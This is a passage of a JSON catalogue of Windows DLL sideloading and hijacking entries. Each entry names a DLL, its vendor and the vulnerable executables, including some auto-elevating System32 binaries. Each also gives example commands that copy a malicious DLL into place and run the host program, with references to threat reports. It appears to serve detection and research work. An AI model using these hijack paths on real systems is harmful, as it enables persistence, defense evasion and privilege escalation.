      "template": "libsqlite3-0.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-libsqlite3-0",
    "name": "libsqlite3-0.dll",
    "namespace": "windows:dllhijack:libsqlite3-0",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/506ab08d0a71610793ae2a5c4c26b1eb35fd9e3c8749cd63877b03c205feb48a/details"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/libsqlite3-0.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious libvlc.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\VideoLAN\\\\VLC\\\\libvlc.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\VideoLAN\\\\VLC\\\\vlc.exe\\\"\"\n\n# libvlc.dll\n\n**Vendor:** VLC\n\n**Expected Location:** %PROGRAMFILES%\\VideoLAN\\VLC\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\VideoLAN\\VLC\\vlc.exe (Sideloading)\n",
    "_source": "windows-dllhijack-libvlc.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "libvlc.dll — Sideloading hijacking (VLC)",
    "execution": {
      "template": "libvlc.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-libvlc",
    "name": "libvlc.dll",
    "namespace": "windows:dllhijack:libvlc",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2022/11/03/family-tree-dll-sideloading-cases-may-be-related/"
      },
      {
        "label": "Reference",
        "url": "https://www.microsoft.com/en-us/security/blog/2018/11/08/attack-uses-malicious-inpage-document-and-outdated-vlc-media-player-to-give-attackers-backdoor-access-to-targets/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/libvlc.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious libvlccore.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\VideoLAN\\\\VLC\\\\libvlccore.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\VideoLAN\\\\VLC\\\\vlc.exe\\\"\"\n\n# libvlccore.dll\n\n**Vendor:** VLC\n\n**Expected Location:** %PROGRAMFILES%\\VideoLAN\\VLC\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\VideoLAN\\VLC\\vlc.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-libvlccore.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "libvlccore.dll — Sideloading hijacking (VLC)",
    "execution": {
      "template": "libvlccore.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-libvlccore",
    "name": "libvlccore.dll",
    "namespace": "windows:dllhijack:libvlccore",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://asec.ahnlab.com/en/58319/"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/33c08eeaff6e9aa686a14144cb84d1895f260d28b767a0d2a10dbe427a65d7c0"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/libvlccore.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious libwsutil.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Wireshark\\\\libwsutil.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Wireshark\\\\Mergecap.exe\\\"\"\n\n# libwsutil.dll\n\n**Vendor:** Wireshark\n\n**Expected Location:** %PROGRAMFILES%\\Wireshark\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Wireshark\\Mergecap.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-libwsutil.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "libwsutil.dll — Sideloading hijacking (Wireshark)",
    "execution": {
      "template": "libwsutil.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-libwsutil",
    "name": "libwsutil.dll",
    "namespace": "windows:dllhijack:libwsutil",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://asec.ahnlab.com/en/58319/"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/fcb0272d586fff854ce9b329fbbba26902984a112a1afe96a149dbb2011ad289"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/e91c4f990c1b0b58d69f3c3e80916463e5cc87011fd418d610c5264f7d5ecc9b"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/libwsutil.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious libxfont-1.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Mobatek\\\\MobaXterm Personal Edition\\\\libxfont-1.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Mobatek\\\\MobaXterm Personal Edition\\\\MobaXterm.exe\\\"\"\n\n# libxfont-1.dll\n\n**Vendor:** Mobatek\n\n**Expected Location:** %PROGRAMFILES%\\Mobatek\\MobaXterm Personal Edition\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Mobatek\\MobaXterm Personal Edition\\MobaXterm.exe (Sideloading)\n- %PROGRAMFILES%\\Mobatek\\MobaXterm\\MobaXterm.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-libxfont-1.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "libxfont-1.dll — Sideloading hijacking (Mobatek)",
    "execution": {
      "template": "libxfont-1.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-libxfont-1",
    "name": "libxfont-1.dll",
    "namespace": "windows:dllhijack:libxfont-1",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/b99bd7ffb7634749487570d0b3a7e423047de4ab13a10c2d912660aec322618e/details"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/libxfont-1.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious licensemanagerapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\licensemanagerapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\wsreset.exe\\\"\"\n\n# licensemanagerapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\wsreset.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-licensemanagerapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "licensemanagerapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "licensemanagerapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-licensemanagerapi",
    "name": "licensemanagerapi.dll",
    "namespace": "windows:dllhijack:licensemanagerapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/licensemanagerapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious licensingdiagspp.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\licensingdiagspp.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\licensingdiag.exe\\\"\"\n\n# licensingdiagspp.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\licensingdiag.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-licensingdiagspp.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "licensingdiagspp.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "licensingdiagspp.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-licensingdiagspp",
    "name": "licensingdiagspp.dll",
    "namespace": "windows:dllhijack:licensingdiagspp",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/licensingdiagspp.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious linkinfo.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\linkinfo.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certreq.exe\\\"\"\n\n# linkinfo.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certreq.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-linkinfo.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "linkinfo.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "linkinfo.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-linkinfo",
    "name": "linkinfo.dll",
    "namespace": "windows:dllhijack:linkinfo",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/linkinfo.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious liteskinutils.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\ICQLite\\\\liteskinutils.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\ICQLite\\\\ICQLite.exe\\\"\"\n\n# liteskinutils.dll\n\n**Vendor:** ICQ\n\n**Expected Location:** %PROGRAMFILES%\\ICQLite\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\ICQLite\\ICQLite.exe (Sideloading)\n\n**Acknowledgement:** Jai Minton\n",
    "_source": "windows-dllhijack-liteskinutils.md",
    "author": "Jai Minton - HuntressLabs",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "liteskinutils.dll — Sideloading hijacking (ICQ)",
    "execution": {
      "template": "liteskinutils.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-liteskinutils",
    "name": "liteskinutils.dll",
    "namespace": "windows:dllhijack:liteskinutils",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/e5e53392b29b74545e463b65052e0b6b07e8299d709f07501fb0f31b97a679ab/details"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/a278d5604a93e93a5580845da93af6c316a37a4cd35c1fc9348958ae1bebdb90/details"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/104ca4690b0ff17eb55e1330c5baf5580a731b6834f0716c483e646d6030855c/relations"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/010f55aef8ccba2ea1307d934decd577a08fa21547d1db30e01f3ae5ff1cce07/relations"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/liteskinutils.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious lmiguardiandll.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\LogMeIn\\\\lmiguardiandll.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"LMIGuardianSvc.exe\\\"\"\n\n# lmiguardiandll.dll\n\n**Vendor:** LogMeIn\n\n**Expected Location:** %PROGRAMFILES%\\LogMeIn\n\n**Vulnerable Executables:**\n- LMIGuardianSvc.exe (Sideloading)\n\n**Acknowledgement:** Kimberly\n",
    "_source": "windows-dllhijack-lmiguardiandll.md",
    "author": "Christiaan Beek",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "lmiguardiandll.dll — Sideloading hijacking (LogMeIn)",
    "execution": {
      "template": "lmiguardiandll.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-lmiguardiandll",
    "name": "lmiguardiandll.dll",
    "namespace": "windows:dllhijack:lmiguardiandll",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://twitter.com/StopMalvertisin/status/1610961056163311619"
      },
      {
        "label": "Reference",
        "url": "https://blog.osarmor.com/311/lmiguardiansvc-exe-logmein-abused-to-sideload-malicious-dll/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/lmiguardiandll.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious loadperf.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\loadperf.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\unlodctr.exe\\\"\"\n\n# loadperf.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\unlodctr.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-loadperf.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "loadperf.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "loadperf.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-loadperf",
    "name": "loadperf.dll",
    "namespace": "windows:dllhijack:loadperf",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/loadperf.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious lockdown.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\McAfee\\\\VirusScan Enterprise\\\\lockdown.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"mfeann.exe\\\"\"\n\n# lockdown.dll\n\n**Vendor:** McAfee\n\n**Expected Location:** %PROGRAMFILES%\\McAfee\\VirusScan Enterprise\n\n**Vulnerable Executables:**\n- mfeann.exe (Sideloading)\n\n**Acknowledgement:** Sean Gallagher\n",
    "_source": "windows-dllhijack-lockdown.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "lockdown.dll — Sideloading hijacking (McAfee)",
    "execution": {
      "template": "lockdown.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-lockdown",
    "name": "lockdown.dll",
    "namespace": "windows:dllhijack:lockdown",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://twitter.com/thepacketrat/status/1520878930449817600"
      },
      {
        "label": "Reference",
        "url": "https://news.sophos.com/en-us/2021/10/04/atom-silo-ransomware-actors-use-confluence-exploit-dll-side-load-for-stealthy-attack/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/lockdown.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious lockhostingframework.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\lockhostingframework.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\lockapphost.exe\\\"\"\n\n# lockhostingframework.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\lockapphost.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-lockhostingframework.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "lockhostingframework.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "lockhostingframework.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-lockhostingframework",
    "name": "lockhostingframework.dll",
    "namespace": "windows:dllhijack:lockhostingframework",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/lockhostingframework.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious log.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Bitdefender Antivirus Free\\\\log.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Bitdefender Antivirus Free\\\\BDReinit.exe\\\"\"\n\n# log.dll\n\n**Vendor:** BitDefender\n\n**Expected Location:** %PROGRAMFILES%\\Bitdefender Antivirus Free\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Bitdefender Antivirus Free\\BDReinit.exe (Sideloading)\n- %PROGRAMFILES%\\Bitdefender Agent\\%VERSION%\\BDReinit.exe (Sideloading)\n- %PROGRAMFILES%\\Bitdefender Agent\\%VERSION%\\x64\\BDReinit.exe (Sideloading)\n- %PROGRAMFILES%\\Bitdefender\\Bitdefender Security\\BDReinit.exe (Sideloading)\n- %PROGRAMFILES%\\Bitdefender\\Bitdefender Security App\\BDReinit.exe (Sideloading)\n- %PROGRAMFILES%\\Bitdefender Antivirus Free\\BDSubWiz.exe (Sideloading)\n- %PROGRAMFILES%\\Bitdefender Agent\\%VERSION%\\BDSubWiz.exe (Sideloading)\n- %PROGRAMFILES%\\Bitdefender Agent\\%VERSION%\\x64\\BDSubWiz.exe (Sideloading)\n- %PROGRAMFILES%\\Bitdefender\\Bitdefender Security\\BDSubWiz.exe (Sideloading)\n- %PROGRAMFILES%\\Bitdefender\\Bitdefender Security App\\BDSubWiz.exe (Sideloading)\n\n**Acknowledgement:** Daniel Koifman\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-log.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "log.dll — Sideloading hijacking (BitDefender)",
    "execution": {
      "template": "log.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-log",
    "name": "log.dll",
    "namespace": "windows:dllhijack:log",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.secureworks.com/research/shadowpad-malware-analysis"
      },
      {
        "label": "Reference",
        "url": "https://www.hexacorn.com/blog/2023/02/25/beyond-good-ol-run-key-part-141/"
      },
      {
        "label": "Reference",
        "url": "https://www.rapid7.com/blog/post/tr-chrysalis-backdoor-dive-into-lotus-blossoms-toolkit/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/log.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious logoncli.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\logoncli.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\certutil.exe\\\"\"\n\n# logoncli.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\certutil.exe (Sideloading)\n- %SYSTEM32%\\change.exe (Sideloading)\n- %SYSTEM32%\\chglogon.exe (Sideloading)\n- %SYSTEM32%\\chgport.exe (Sideloading)\n- %SYSTEM32%\\csvde.exe (Sideloading)\n- %SYSTEM32%\\devicecensus.exe (Sideloading)\n- %SYSTEM32%\\djoin.exe (Sideloading)\n- %SYSTEM32%\\dsacls.exe (Sideloading)\n- %SYSTEM32%\\dsmgmt.exe (Sideloading)\n- %SYSTEM32%\\dsregcmd.exe (Sideloading)\n- %SYSTEM32%\\efsui.exe (Sideloading)\n- %SYSTEM32%\\gpfixup.exe (Sideloading)\n- %SYSTEM32%\\gpresult.exe (Sideloading)\n- %SYSTEM32%\\klist.exe (Sideloading)\n- %SYSTEM32%\\ksetup.exe (Sideloading)\n- %SYSTEM32%\\ldifde.exe (Sideloading)\n- %SYSTEM32%\\net1.exe (Sideloading)\n- %SYSTEM32%\\nltest.exe (Sideloading)\n- %SYSTEM32%\\netdom.exe (Sideloading)\n- %SYSTEM32%\\ntdsutil.exe (Sideloading)\n- %SYSTEM32%\\query.exe (Sideloading)\n- %SYSTEM32%\\quser.exe (Sideloading)\n- %SYSTEM32%\\qwinsta.exe (Sideloading)\n- %SYSTEM32%\\redircmp.exe (Sideloading)\n- %SYSTEM32%\\redirusr.exe (Sideloading)\n- %SYSTEM32%\\rekeywiz.exe (Sideloading)\n- %SYSTEM32%\\rendom.exe (Sideloading)\n- %SYSTEM32%\\repadmin.exe (Sideloading)\n- %SYSTEM32%\\reset.exe (Sideloading)\n- %SYSTEM32%\\rwinsta.exe (Sideloading)\n- %SYSTEM32%\\setspn.exe (Sideloading)\n- %SYSTEM32%\\systempropertiesadvanced.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\systemsettingsadminflows.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\tscon.exe (Sideloading)\n- %SYSTEM32%\\tskill.exe (Sideloading)\n- %SYSTEM32%\\w32tm.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-logoncli.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "logoncli.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "logoncli.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-logoncli",
    "name": "logoncli.dll",
    "namespace": "windows:dllhijack:logoncli",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/logoncli.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious logoncontroller.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\logoncontroller.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\logonui.exe\\\"\"\n\n# logoncontroller.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\logonui.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-logoncontroller.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "logoncontroller.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "logoncontroller.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-logoncontroller",
    "name": "logoncontroller.dll",
    "namespace": "windows:dllhijack:logoncontroller",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/logoncontroller.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious lpksetupproxyserv.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\lpksetupproxyserv.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\lpksetup.exe\\\"\"\n\n# lpksetupproxyserv.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\lpksetup.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-lpksetupproxyserv.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "lpksetupproxyserv.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "lpksetupproxyserv.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "remote"
    ],
    "id": "windows-dllhijack-lpksetupproxyserv",
    "name": "lpksetupproxyserv.dll",
    "namespace": "windows:dllhijack:lpksetupproxyserv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/lpksetupproxyserv.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious lrwizdll.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\lrwizdll.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\licmgr.exe\\\"\"\n\n# lrwizdll.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\licmgr.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-lrwizdll.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "lrwizdll.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "lrwizdll.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-lrwizdll",
    "name": "lrwizdll.dll",
    "namespace": "windows:dllhijack:lrwizdll",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
